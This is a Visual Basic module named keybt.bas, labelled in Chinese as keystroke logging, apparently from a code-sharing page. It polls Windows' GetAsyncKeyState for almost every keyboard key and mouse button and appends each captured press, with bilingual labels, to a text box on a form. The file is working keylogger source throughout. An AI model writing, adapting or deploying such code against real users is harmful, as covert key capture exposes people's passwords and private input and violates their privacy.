📄 keybt.bas
字号:
Attribute VB_Name = "Keybt"
''''''''''''''''''''''''''''''''''''''''''''''''''''键盘记录
Private KeyLoop As Long
Private FoundKeys As String
Private KeyResult As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Sub Keyb_t()
On Error Resume Next
Dim AddKey As String
Dim LastKey As String
Dim TimeOut As Integer
' 处理 ENTER CTRL ALT BACKSPACE TAB CAPS 等
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = "[Enter 回车键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17)
If KeyResult = -32767 Then
AddKey = "[Ctrl 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey = "[Bkspace 退格键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[Tab 切换键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[Alt 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[Pause Break 暂停键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[Caps Lock 大小写切换键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[Esc 退出键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[End 结束键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[Home 首位键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[Insert 插入键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[Delete 删除键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[Num Lock 数字开关键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[LEFT 左键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP 上键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[RIGHT 右键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN 下键]"
GoTo KeyFound
End If
' 功能键处理 F1~F16
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15 键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16 键]"
GoTo KeyFound
End If
'特殊键处理 spacebar ; = , - . / '
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = "[空格键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
AddKey = ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
AddKey = "/" '/
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
AddKey = "`" '`
GoTo KeyFound
End If
'数字键处理 0 1 2 3 4 5 6 7 8 9
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey = "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If
'* + Enter - . / \ 等的处理
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey = "[Enter 回车键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(1)
If KeyResult = -32767 Then
AddKey = "[鼠标左键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "[鼠标右键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(4)
If KeyResult = -32767 Then
AddKey = "[鼠标3D滚轮按键]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
AddKey = "\"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
AddKey = "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
AddKey = "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219) '219
If KeyResult = -32767 Then
AddKey = "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(16) '219
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[Shift 上档键]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If
'Skip:
KeyLoop = 41
Do Until KeyLoop = 256 ' 否则检查数字键或字母键
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Main.Keytxt.Text = Main.Keytxt.Text & Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound:
Main.Keytxt.Text = Main.Keytxt.Text & AddKey
TimeOut = 0
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -